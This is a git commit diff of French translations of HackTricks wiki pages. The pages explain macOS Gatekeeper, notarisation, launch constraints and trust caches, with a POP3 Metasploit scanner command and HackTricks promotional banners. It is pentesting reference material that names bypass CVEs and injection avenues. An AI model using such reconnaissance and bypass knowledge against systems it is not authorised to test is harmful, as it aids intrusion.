Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:24:42 +00:00
parent d619d1ff32
commit c3e6ca8598
20 changed files with 603 additions and 493 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -34,7 +37,7 @@ Voici comment cela fonctionne :
2. **Distribution de l'application :** L'application signée est ensuite distribuée aux utilisateurs avec le certificat du développeur, qui contient la clé publique correspondante.
3. **Vérification de l'application :** Lorsqu'un utilisateur télécharge et tente d'exécuter l'application, son système d'exploitation Mac utilise la clé publique du certificat du développeur pour déchiffrer le hachage. Il recalcule ensuite le hachage en fonction de l'état actuel de l'application et le compare avec le hachage déchiffré. S'ils correspondent, cela signifie que **l'application n'a pas été modifiée** depuis que le développeur l'a signée, et le système permet à l'application de s'exécuter.
Les signatures d'application sont une partie essentielle de la technologie Gatekeeper d'Apple. Lorsque l'utilisateur tente d'**ouvrir une application téléchargée depuis Internet**, Gatekeeper vérifie la signature de l'application. Si elle est signée avec un certificat délivré par Apple à un développeur connu et que le code n'a pas été altéré, Gatekeeper permet à l'application de s'exécuter. Sinon, il bloque l'application et alerte l'utilisateur.
Les signatures d'application sont une partie essentielle de la technologie Gatekeeper d'Apple. Lorsqu'un utilisateur tente d'**ouvrir une application téléchargée depuis Internet**, Gatekeeper vérifie la signature de l'application. Si elle est signée avec un certificat délivré par Apple à un développeur connu et que le code n'a pas été altéré, Gatekeeper permet à l'application de s'exécuter. Sinon, il bloque l'application et alerte l'utilisateur.
À partir de macOS Catalina, **Gatekeeper vérifie également si l'application a été notariée** par Apple, ajoutant une couche de sécurité supplémentaire. Le processus de notarisation vérifie l'application pour des problèmes de sécurité connus et du code malveillant, et si ces vérifications sont réussies, Apple ajoute un ticket à l'application que Gatekeeper peut vérifier.
@ -59,11 +62,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarisation
Le processus de notarisation d'Apple sert de protection supplémentaire pour protéger les utilisateurs contre les logiciels potentiellement nuisibles. Il implique que le **développeur soumette son application à l'examen** par **le service de notarisation d'Apple**, qui ne doit pas être confondu avec l'examen des applications. Ce service est un **système automatisé** qui scrute le logiciel soumis à la recherche de **contenu malveillant** et de tout problème potentiel avec la signature du code.
Le processus de notarisation d'Apple sert de protection supplémentaire pour protéger les utilisateurs contre les logiciels potentiellement nuisibles. Il implique que le **développeur soumette son application à l'examen** par **le service de notarisation d'Apple**, qui ne doit pas être confondu avec l'examen des applications. Ce service est un **système automatisé** qui scrute le logiciel soumis à la recherche de **contenu malveillant** et de tout problème potentiel lié à la signature du code.
Si le logiciel **passe** cette inspection sans soulever de préoccupations, le service de notarisation génère un ticket de notarisation. Le développeur est ensuite tenu de **joindre ce ticket à son logiciel**, un processus connu sous le nom de 'stapling.' De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder.
Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit attaché à l'exécutable ou trouvé en ligne - **informe Gatekeeper que le logiciel a été notarié par Apple**. En conséquence, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initiale, indiquant que le logiciel a subi des vérifications pour contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité du logiciel qu'ils installent ou exécutent sur leurs systèmes.
Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit attaché à l'exécutable ou trouvé en ligne - **informe Gatekeeper que le logiciel a été notarié par Apple**. En conséquence, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initiale, indiquant que le logiciel a été soumis à des vérifications pour contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité du logiciel qu'ils installent ou exécutent sur leurs systèmes.
### Énumération de GateKeeper
@ -323,7 +326,7 @@ Cependant, cela n'est plus possible car macOS **empêche la modification des fic
## Contournements de Gatekeeper
Tout moyen de contourner Gatekeeper (réussir à faire télécharger quelque chose par l'utilisateur et à l'exécuter lorsque Gatekeeper devrait l'interdire) est considéré comme une vulnérabilité dans macOS. Voici quelques CVE attribués à des techniques qui ont permis de contourner Gatekeeper dans le passé :
Tout moyen de contourner Gatekeeper (réussir à faire télécharger quelque chose par l'utilisateur et à l'exécuter alors que Gatekeeper devrait l'interdire) est considéré comme une vulnérabilité dans macOS. Voici quelques CVE attribués à des techniques qui ont permis de contourner Gatekeeper dans le passé :
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)

View file

@ -1,57 +1,58 @@
# Contraintes de lancement/environnement macOS et cache de confiance
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informations de base
## Basic Information
Les contraintes de lancement dans macOS ont été introduites pour renforcer la sécurité en **régulant comment, qui et d'où un processus peut être initié**. Initiées dans macOS Ventura, elles fournissent un cadre qui catégorise **chaque binaire système en différentes catégories de contraintes**, définies dans le **cache de confiance**, une liste contenant les binaires système et leurs hachages respectifs. Ces contraintes s'étendent à chaque binaire exécutable du système, impliquant un ensemble de **règles**finissant les exigences pour **lancer un binaire particulier**. Les règles englobent les auto-contraintes qu'un binaire doit satisfaire, les contraintes parentales devant être respectées par son processus parent, et les contraintes responsables devant être respectées par d'autres entités pertinentes.
Les contraintes de lancement dans macOS ont été introduites pour améliorer la sécurité en **régulant comment, qui et d'où un processus peut être initié**. Initiées dans macOS Ventura, elles fournissent un cadre qui catégorise **chaque binaire système en différentes catégories de contraintes**, qui sont définies dans le **cache de confiance**, une liste contenant des binaires système et leurs hachages respectifs. Ces contraintes s'étendent à chaque binaire exécutable au sein du système, impliquant un ensemble de **règles**limitant les exigences pour **lancer un binaire particulier**. Les règles englobent des contraintes auto-imposées qu'un binaire doit satisfaire, des contraintes parentales devant être respectées par son processus parent, et des contraintes responsables devant être respectées par d'autres entités pertinentes.
Le mécanisme s'étend aux applications tierces via les **Contraintes d'Environnement**, à partir de macOS Sonoma, permettant aux développeurs de protéger leurs applications en spécifiant un **ensemble de clés et de valeurs pour les contraintes d'environnement**.
Le mécanisme s'étend aux applications tierces via les **Contraintes d'Environnement**, à partir de macOS Sonoma, permettant aux développeurs de protéger leurs applications en spécifiant un **ensemble de clés et de valeurs pour les contraintes d'environnement.**
Vous définissez les **contraintes de lancement et de bibliothèque** dans des dictionnaires de contraintes que vous enregistrez soit dans des **fichiers de liste de propriétés `launchd`**, soit dans des **fichiers de liste de propriétés séparés** que vous utilisez dans la signature de code.
Vous définissez des **contraintes d'environnement de lancement et de bibliothèque** dans des dictionnaires de contraintes que vous enregistrez soit dans des **fichiers de liste de propriétés `launchd`**, soit dans des **fichiers de liste de propriétés séparés** que vous utilisez dans la signature de code.
Il existe 4 types de contraintes :
* **Auto-contraintes** : Contraintes appliquées au binaire **en cours d'exécution**.
* **Processus parent** : Contraintes appliquées au **parent du processus** (par exemple **`launchd`** exécutant un service XP).
* **Contraintes responsables** : Contraintes appliquées au **processus appelant le service** dans une communication XPC.
* **Contraintes de chargement de bibliothèque** : Utilisez des contraintes de chargement de bibliothèque pour décrire sélectivement le code qui peut être chargé.
* **Contraintes Auto-imposées** : Contraintes appliquées au **binaire en cours d'exécution**.
* **Processus Parent** : Contraintes appliquées au **parent du processus** (par exemple **`launchd`** exécutant un service XPC)
* **Contraintes Responsables** : Contraintes appliquées au **processus appelant le service** dans une communication XPC
* **Contraintes de Chargement de Bibliothèque** : Utilisez des contraintes de chargement de bibliothèque pour décrire sélectivement le code qui peut être chargé
Ainsi, lorsqu'un processus tente de lancer un autre processus — en appelant `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` — le système d'exploitation vérifie que le fichier exécutable **satisfait** sa **propre contrainte d'auto**. Il vérifie également que le fichier exécutable du **processus parent** **satisfait la contrainte parentale** de l'exécutable, et que le fichier exécutable du **processus responsable** **satisfait la contrainte du processus responsable** de l'exécutable. Si l'une de ces contraintes de lancement n'est pas satisfaite, le système d'exploitation ne lance pas le programme.
Ainsi, lorsqu'un processus essaie de lancer un autre processus — en appelant `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` — le système d'exploitation vérifie que le fichier **exécutable** **satisfait** sa **propre contrainte auto-imposée**. Il vérifie également que l'exécutable du **processus parent** **satisfait** la **contrainte parentale** de l'exécutable, et que l'exécutable du **processus responsable** **satisfait la contrainte de processus responsable** de l'exécutable. Si l'une de ces contraintes de lancement n'est pas satisfaite, le système d'exploitation ne lance pas le programme.
Si lors du chargement d'une bibliothèque une partie de la **contrainte de bibliothèque n'est pas vraie**, votre processus **ne charge pas** la bibliothèque.
Si lors du chargement d'une bibliothèque, une partie de la **contrainte de bibliothèque n'est pas vraie**, votre processus **ne charge pas** la bibliothèque.
## Catégories LC
## LC Categories
Un LC est composé de **faits** et d'**opérations logiques** (et, ou..) qui combinent des faits.
Les [**faits qu'un LC peut utiliser sont documentés**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Par exemple :
* is-init-proc : Une valeur booléenne indiquant si le binaire doit être le processus d'initialisation du système d'exploitation (`launchd`).
* is-sip-protected : Une valeur booléenne indiquant si le binaire doit être un fichier protégé par la Protection de l'Intégrité du Système (SIP).
* `on-authorized-authapfs-volume:` Une valeur booléenne indiquant si le système d'exploitation a chargé le binaire à partir d'un volume APFS autorisé et authentifié.
* `on-authorized-authapfs-volume` : Une valeur booléenne indiquant si le système d'exploitation a chargé le binaire à partir d'un volume APFS autorisé et authentifié.
* is-init-proc : Une valeur booléenne qui indique si l'exécutable doit être le processus d'initialisation du système d'exploitation (`launchd`).
* is-sip-protected : Une valeur booléenne qui indique si l'exécutable doit être un fichier protégé par la Protection de l'Intégrité du Système (SIP).
* `on-authorized-authapfs-volume:` Une valeur booléenne qui indique si le système d'exploitation a chargé l'exécutable à partir d'un volume APFS autorisé et authentifié.
* `on-authorized-authapfs-volume` : Une valeur booléenne qui indique si le système d'exploitation a chargé l'exécutable à partir d'un volume APFS autorisé et authentifié.
* Volume Cryptexes
* `on-system-volume:` Une valeur booléenne indiquant si le système d'exploitation a chargé le binaire à partir du volume système actuellement démarré.
* `on-system-volume:` Une valeur booléenne qui indique si le système d'exploitation a chargé l'exécutable à partir du volume système actuellement démarré.
* À l'intérieur de /System...
* ...
Lorsqu'un binaire Apple est signé, il **l'assigne à une catégorie LC** à l'intérieur du **cache de confiance**.
* Les **16 catégories LC iOS** ont été [**inversées et documentées ici**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Les **catégories LC actuelles (macOS 14** - Somona) ont été inversées et leurs [**descriptions peuvent être trouvées ici**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
* Les **catégories LC iOS 16** ont été [**inversées et documentées ici**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Les **catégories LC actuelles (macOS 14** - Sonoma) ont été inversées et leurs [**descriptions peuvent être trouvées ici**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Par exemple, la Catégorie 1 est :
```
@ -66,25 +67,25 @@ Parent Constraint: is-init-proc
### Inversion des catégories LC
Vous avez plus d'informations [**à ce sujet ici**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), mais en gros, elles sont définies dans **AMFI (AppleMobileFileIntegrity)**, donc vous devez télécharger le Kit de développement du noyau pour obtenir le **KEXT**. Les symboles commençant par **`kConstraintCategory`** sont les **intéressants**. En les extrayant, vous obtiendrez un flux encodé DER (ASN.1) que vous devrez décoder avec [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ou la bibliothèque python-asn1 et son script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) qui vous donnera une chaîne plus compréhensible.
Vous avez plus d'informations [**à ce sujet ici**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), mais en gros, elles sont définies dans **AMFI (AppleMobileFileIntegrity)**, donc vous devez télécharger le Kit de Développement du Noyau pour obtenir le **KEXT**. Les symboles commençant par **`kConstraintCategory`** sont les **intéressants**. En les extrayant, vous obtiendrez un flux encodé DER (ASN.1) que vous devrez décoder avec [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ou la bibliothèque python-asn1 et son script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) qui vous donnera une chaîne plus compréhensible.
## Contraintes d'environnement
Ce sont les contraintes de lancement configurées dans les applications **tierces**. Le développeur peut sélectionner les **faits** et les **opérandes logiques à utiliser** dans son application pour restreindre l'accès à celle-ci.
Ce sont les contraintes de lancement configurées dans **les applications tierces**. Le développeur peut sélectionner les **faits** et **opérateurs logiques à utiliser** dans son application pour restreindre l'accès à celle-ci.
Il est possible d'énumérer les Contraintes d'environnement d'une application avec :
Il est possible d'énumérer les contraintes d'environnement d'une application avec :
```bash
codesign -d -vvvv app.app
```
## Caches de confiance
Sur **macOS**, il existe quelques caches de confiance :
Dans **macOS**, il existe quelques caches de confiance :
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
- **`/System/Library/Security/OSLaunchPolicyData`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
Et sur iOS, cela semble être dans **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
Et dans iOS, cela semble être dans **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
{% hint style="warning" %}
Sur macOS fonctionnant sur des appareils Apple Silicon, si un binaire signé par Apple n'est pas dans le cache de confiance, AMFI refusera de le charger.
@ -114,7 +115,7 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Une autre option pourrait être d'utiliser l'outil [**img4tool**](https://github.com/tihmstar/img4tool), qui fonctionnera même sur M1 même si la version est ancienne et pour x86\_64 si vous l'installez aux emplacements appropriés).
(Une autre option pourrait être d'utiliser l'outil [**img4tool**](https://github.com/tihmstar/img4tool), qui fonctionnera même sur M1 bien que la version soit ancienne et pour x86\_64 si vous l'installez aux emplacements appropriés).
Maintenant, vous pouvez utiliser l'outil [**trustcache**](https://github.com/CRKatri/trustcache) pour obtenir les informations dans un format lisible :
```bash
@ -150,30 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Ensuite, vous pourriez utiliser un script tel que [**celui-ci**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) pour extraire des données.
Puis, vous pourriez utiliser un script tel que [**celui-ci**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) pour extraire des données.
À partir de ces données, vous pouvez vérifier les applications avec une **valeur de contrainte de lancement de `0`**, qui sont celles qui ne sont pas contraintes ([**vérifiez ici**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) pour savoir ce que chaque valeur représente).
À partir de ces données, vous pouvez vérifier les applications avec une **valeur de contraintes de lancement de `0`**, qui sont celles qui ne sont pas contraintes ([**vérifiez ici**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) pour ce que chaque valeur signifie).
## Atténuation des attaques
## Atténuations des attaques
Les contraintes de lancement auraient atténué plusieurs anciennes attaques en **s'assurant que le processus ne sera pas exécuté dans des conditions inattendues :** par exemple, à partir d'emplacements inattendus ou en étant invoqué par un processus parent inattendu (si seul launchd devrait le lancer).
Les contraintes de lancement auraient atténué plusieurs anciennes attaques en **s'assurant que le processus ne sera pas exécuté dans des conditions inattendues :** Par exemple, depuis des emplacements inattendus ou étant invoqué par un processus parent inattendu (si seul launchd devrait le lancer).
De plus, les contraintes de lancement **atténuent les attaques de rétrogradation**.
De plus, les contraintes de lancement **atténuent également les attaques de rétrogradation.**
Cependant, elles **ne atténuent pas les abus XPC** courants, les injections de code **Electron** ou les injections de **dylib** sans validation de bibliothèque (à moins que les ID d'équipe pouvant charger des bibliothèques ne soient connus).
Cependant, elles **n'atténuent pas les abus courants de XPC**, les injections de code **Electron** ou les **injections de dylib** sans validation de bibliothèque (à moins que les ID d'équipe qui peuvent charger des bibliothèques soient connus).
### Protection du démon XPC
Dans la version Sonoma, un point notable est la **configuration de responsabilité du service XPC démon**. Le service XPC est responsable de lui-même, contrairement au client connecté qui est responsable. Cela est documenté dans le rapport de rétroaction FB13206884. Cette configuration peut sembler défectueuse, car elle permet certaines interactions avec le service XPC :
Dans la version Sonoma, un point notable est la **configuration de responsabilité** du service XPC. Le service XPC est responsable de lui-même, contrairement au client connectant qui est responsable. Cela est documenté dans le rapport de retour d'information FB13206884. Cette configuration peut sembler défectueuse, car elle permet certaines interactions avec le service XPC :
- **Lancement du service XPC** : Si on suppose qu'il s'agit d'un bogue, cette configuration ne permet pas d'initier le service XPC via du code malveillant.
- **Connexion à un service actif** : Si le service XPC est déjà en cours d'exécution (éventuellement activé par son application d'origine), il n'y a pas d'obstacles à s'y connecter.
- **Lancement du service XPC** : Si considéré comme un bug, cette configuration ne permet pas d'initier le service XPC via le code de l'attaquant.
- **Connexion à un service actif** : Si le service XPC est déjà en cours d'exécution (peut-être activé par son application d'origine), il n'y a aucune barrière pour s'y connecter.
Bien que l'implémentation de contraintes sur le service XPC puisse être bénéfique en **réduisant la fenêtre d'attaque potentielle**, cela ne résout pas le problème principal. Assurer la sécurité du service XPC nécessite fondamentalement de **valider efficacement le client connecté**. C'est la seule méthode pour renforcer la sécurité du service. Il convient également de noter que la configuration de responsabilité mentionnée est actuellement opérationnelle, ce qui peut ne pas correspondre à la conception prévue.
Bien que la mise en œuvre de contraintes sur le service XPC puisse être bénéfique en **rétrécissant la fenêtre pour des attaques potentielles**, cela ne répond pas à la préoccupation principale. Assurer la sécurité du service XPC nécessite fondamentalement **de valider efficacement le client connectant**. Cela reste le seul moyen de renforcer la sécurité du service. De plus, il convient de noter que la configuration de responsabilité mentionnée est actuellement opérationnelle, ce qui peut ne pas correspondre à la conception prévue.
### Protection Electron
Même s'il est nécessaire que l'application soit **ouverte par LaunchService** (dans les contraintes parentales). Cela peut être réalisé en utilisant **`open`** (qui peut définir des variables d'environnement) ou en utilisant l'**API des services de lancement** (où les variables d'environnement peuvent être indiquées).
Même s'il est requis que l'application soit **ouverte par LaunchService** (dans les contraintes des parents). Cela peut être réalisé en utilisant **`open`** (qui peut définir des variables d'environnement) ou en utilisant l'**API des services de lancement** (où les variables d'environnement peuvent être indiquées).
## Références
@ -182,16 +183,17 @@ Même s'il est nécessaire que l'application soit **ouverte par LaunchService**
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -62,24 +62,19 @@ Puis enregistrez le fichier et sortez de tous les répertoires, puis reconstruis
![](../../.gitbook/assets/img12.png)
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre à la signer](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Supportez HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'**NFTs** exclusifs [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
